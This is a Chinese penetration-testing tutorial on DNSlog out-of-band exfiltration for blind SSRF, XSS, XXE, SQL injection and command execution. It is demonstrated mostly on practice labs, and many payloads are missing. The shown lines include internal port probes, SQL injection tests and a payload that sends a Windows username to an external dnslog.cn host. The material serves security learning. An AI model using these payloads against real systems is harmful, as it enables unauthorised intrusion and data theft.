前言
在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起 DNS 请求,这个时候就可以通过这种方式把想获得的数据外带出来。
了解到了什么是 DNS,那么什么又是 DNSlog 呢?
基本原理
我注册了一个为 a.com 的域名,我将他 a 记录泛解析到 10.0.0.0 上,这样就实现了无论我记录值填什么他都有解析,并且都指向 10.0.0.0,当我向 dns 服务器发起 test.a.com 的解析请求时,DNSlog 中会记录下他给 test.a.com 解析,解析值为 10.0.0.0(通俗来讲就是我们申请一个 dnslog 的平台,当我们盲注的时候把想要的数据和平台给的地址拼接起来,dnslog 平台就会把请求的记录显示出来)。
SSRF 盲打
前面写过一篇博文介绍了 SSRF 漏洞的基本原理 Web安全-SSRF漏洞。之所以想学习下 DNSlog 并记录本文也是因为看到某渗透报告里面记录一个通过 DNSlog 盲打 SSRF 漏洞,是自己之前没接触过的技能点……
SSRF盲打实例
在某系统的机票信息存在导出功能:
修改导出信息的请求中queryPath参数的路径为自己的 DNSlog:
可以看到 DNSlog 平台成功记录访问请求,证明存在 SSRF 漏洞:
靶场实例练习
1、来看看 Pikachu 靶场一个 SSRF 漏洞 实例:
2、修改 url 参数为如下,可借助 SSRF 漏洞进行内网端口探测:
url=http://127.0.0.1:3306
发现服务器开放了 3306 端口:
3、修改 url 参数为如下,可借助 SSRF 漏洞读取本地文件:
成功读取到 Windows 服务器的本地 hosts 文件信息:
4、在 DNSlog 平台申请一个子域名 ny5l42.dnslog.cn,然后访问 ?url=http://ny5l42.dnslog.cn,如下:
刷新 DNSlog 服务器的记录,发现靶场发起的访问请求记录:
XSS的盲打
众所周知,在实战中能真正能构成致命性损伤的 XSS 类型就是储存型 XSS,一般是从前台打到后台,一般反射型 XSS 我们常见做法一般是给自己弹个 alert 就可以知道这个语句有没有执行,有没有被屏蔽。但是前台打到后台的储存型盲打 XSS 我们肯定是不可能通过 alert 去验证漏洞是否存在。弹 alert 必然是要惊动管理员,况且就算在后台弹窗了,我们也看不到。
为了解决这个问题,也为了学习 DNSlog 的利用,我们继续跟着原理造轮子,比如说这有个留言框,我们输入个 Payload 如下:
因为 script 标签的 src 是在加载后就自动去请求的,并且 http 协议仍然会用到 dns 协议,当管理员从留言板看到这条消息的时候浏览器就会自动去请求 http://testxss.a.com,这样子的话,就会在 DNSlog 里留下如下记录:
当我们在 dnslog 里看到了这条记录的时候,就说明盲打 XSS 存在了。
靶场 XSS 盲打实例
1、同样以 Pikachu 靶场的一个 XSS 漏洞环境为例:
2、插入 alert(1)即可触发弹窗:
4、可以在 DNSlog 平台看到对应的请求记录:
XXE的盲打
关于 XXE 漏洞的基础知识可以看我的另一篇博文:Web安全-XXE漏洞,此处截图核心:
对于没有回显的 XXE 漏洞,同样可以使用 DNSlog 平台进行漏洞检测。
XXE 盲打靶场实例
1、同样以 Pikachu 靶场的 XXE 漏洞环境为例:
2、先构建常规测试 Payload:
执行结果如下:
3、借助 XXE 漏洞构造读取本地文件的 Payload:
执行效果如下:
4、假设这是一个 XXE 无回显的漏洞,或者说不清楚服务器是什么操作系统、不清楚文件组成,可以构造如下 DNSlog 相关的 Payload:
执行效果如下:
SQL的盲注
不论是布尔型盲注还是时间型盲注,都需要频繁的跑请求才能够获取数据库中的值,在现代 WAF 的防护下,很可能导致 IP 被 ban。
我们可以结合 DNSlog 完美快速的将数据取出。
以4s1b2n.dnslog.cn来举例子,我直接扔 Payload 伙伴们自己理解下原理:
上面就是 select_load_file 的用法,我们来看看实际的 Payload,比如说注入语句我们这么写:
很经典的查询数据库名的 Payload,那么上面 Payload 执行后,最终数据库将执行什么呢,我们来猜测一下。
不难想象当上面这个执行后,我们将在我们的 DNSlog 里查到的记录为以下内容:
SQL盲注靶场实例
1、下面同样以 Pikachu 靶场的 SQL 盲注(布尔型)漏洞环境为例:
2、输入kobe' and 1=1#可成功查询:
3、输入kobe' and 1=2#查询失败:
4、输入利用 DNSlog 回显数据库名称的 Payload:
执行效果如下:
我自己执行失败……原因不详……图中是别人的图,请各位大佬指教!
RCE的盲打
此处使用公网一个 DVWA 靶场( Windows 系统搭建)为例进行演示,Payload:%USERNAME%.u4f95y.dnslog.cn,如下所示:
此时 DNSlog 也会回显打印当前系统登录的用户的名称:
Windows 常用变量:
如果是 Linux 环境,则 Payload 对应的应该为:
总结
本文参考文章:
1. DNSlog平台各种利用姿势(盲注):https://www.cnblogs.com/sunny11/p/14399420.html
4. Dnslog在SQL注入中的实战 :https://www.anquanke.com/post/id/98096
————————————————
作者:Tr0e
声明:本公众号所分享内容仅用于网安爱好者之间的技术讨论,禁止用于违法途径,所有渗透都需获取授权!否则需自行承担,本公众号及原作者不承担相应的后
学习更多渗透技能!供靶场练习技能
(扫码领白帽黑客视频资料及工具)
本文地址:http://sicmodule.glev.cn/quote/539.html 歌乐夫 http://sicmodule.glev.cn/ , 查看更多